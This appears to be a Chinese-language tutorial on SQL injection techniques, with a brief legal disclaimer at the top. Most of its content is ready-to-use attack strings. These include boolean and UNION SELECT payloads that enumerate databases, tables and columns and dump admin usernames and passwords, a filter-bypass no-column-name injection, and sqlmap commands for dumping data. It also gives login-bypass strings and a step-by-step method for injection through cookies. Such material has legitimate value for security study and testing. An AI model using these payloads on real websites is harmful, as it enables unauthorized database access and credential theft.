前言
本篇文章介绍了sql注入的常见注入类型及方法!
注:切勿做违法乱纪之事,后果自行承担!!!!
正文
1 按变量类型
1.1 数字型
information_schema为MySQL自带数据库,所有数据库名、表名、字段名都可以从中查询到!
1)判断注入
.1’ and 1=‘1# 用and连接,若查询1结果正确,返回值为真
.1’ and 1=‘2# 用and连接,若查询1结果正确,返回值为假
#双引号注入
.1’’ and 1=’‘1# 用and连接,若查询1结果正确,返回值为真
.1’’ and 1=’'2# 用and连接,若查询1结果正确,返回值为假
#数字型注入
.1 and 1=1 用and连接,若查询1结果正确,返回值为真
.1 and 1=2 用and连接,若查询1结果正确,返回值为假
2)判断字段数 地址栏输入 ’ order by 数字
‘ order by (1,2,3,4........) --+ //可判断出有几个回显
?id=-1' union select 1,database(),3 --+ //可判断出数据库名字,假设order by 4出错,变量改为-1
id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)' 另一种查询方式,后同
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库名字’ --+ //查表明 group_concat多个表有序排列(引号一定要)
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘输入要查询的表名’ //查询表中的字段
?id=-1' union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表 //查询一年字段中的内容
?id=-1' union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin //若内容无法显示,则unhex编码
情况一
查表名时由于过滤or,所以information_schema无法使用。 但Mysql5.6及以上版本中
innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名
PS://可以代替空格 不能用order by测试列数,用group by代替
注释符#用,'3代替,数字随便**
查看表名:
-1’union//select//1,(select//group_concat(table_name)//from/**/mysql.innodb_table_stats),3,‘3
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入
//-1’//union//select//1,(select//group_concat(b)//from//(select//1,2,3//as//b//union//select//*//from//users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
————————————————————————————————————————————
1.2 字符型
' and '1'='1
' and '1'='2
剩下步骤和数字型一样…
2 按HTTP提交方式
2.1 POST型注入
简单说明步骤:
1.直接burpsuite抓取数据包
2.sql跑起来——
sqlmap.py -r "数据包文件" --current-db #查询当前数据库名字
-----------------------------------------------------------
--current-db //表示当前网站的数据库名字
--tables -D “当前数据库名字” //当前网站数据库名字
--columns -T -D //获取表中的列
--dump -C -T -D ///获取列中的字段内容
sql注入万能用户名
注释法 //将密码注释掉
eg:用户名处 admin' #
or 方法
eg:admin' or '1'='1
2.2 GET型注入
简单说明步骤:
1.sql跑起来——
sqlmap.py -u “URL”
--current-db //表示当前网站的数据库名字
--tables -D “当前数据库名字” //当前网站数据库名字
--columns -T -D //获取表中的列
--dump -C -T -D ///获取列中的字段内容
2.3 Cookie型注入
怎样cookie注入?
cookie注入分为以下几个阶段:
- 判断是不是注入点
2.得到字段总数
3.查选表名
4.查选列名
5.脱裤(就是得到我们想得到列名的值)
我们先理解一下这几个概念:
javascript:alert(document.cookie=“id=”+escape(“284”))
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。
cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
cookie注入原理
【检测方法】
1、首先找到传参地址: asp?id=xxx(例如:http://www.example.com/news.asp?id=1)
2、去掉参数,访问该url
http://www.example.com/news.asp?
如果页面访问不正常,则说明该参数id是访问页面所必需的的参数,可以尝试继续注入。
3、记录并清空当前浏览器地址栏中的地址,在其中输入
javascript:alert(document.cookie=“id=”+escape(“xxx”));
//这里的xxx就是上一步中id=xxx中的参数值
4、再浏览器地址栏中输入原来的url地址(注意,这里输入的是不带参数值的url,如下):
http://www.example.com/news.asp?
按下回车,访问该url,如果发现页面正常显示了,到此可以证明,我们正在接受的页面存在request方法获取参数,可能存在cookie注入的风险
【利用方法】:
手工检测到可能存在cookie注入时,我们就可以通过常规注入方法来进行注入了
1、清空地址栏,输入我们的写cookie代码:
javascript:alert(document.cookie=“id=”+escape(“xxx and 1=1”));
2、使用无参数的url地址访问
http://www.example.com/news.asp?
如果页面正常,我们就可以进行下一步检测。如果这是页面不正常,说明站点管理员已经部署了响应的防御策略,就需要找其他方法注入
3、清空地址,同样的方法写入新的cookie
javascript:alert(document.cookie=“id=”+escape(“xxx and 1=2”));
如果上一次页面正常,这次页面不正常,那么说明存在cookie注入漏洞,可以通过常规方法注入即可,只是cookie注入相对比较麻烦,需要每一次都在浏览器中执行写cookie代码
javascript:alert(document.cookie=“id=”+escape(“xxx 注入语句”));
然后访问不带参数的url地址
http://www.example.com/news.asp?
根据页面提示进行注入即可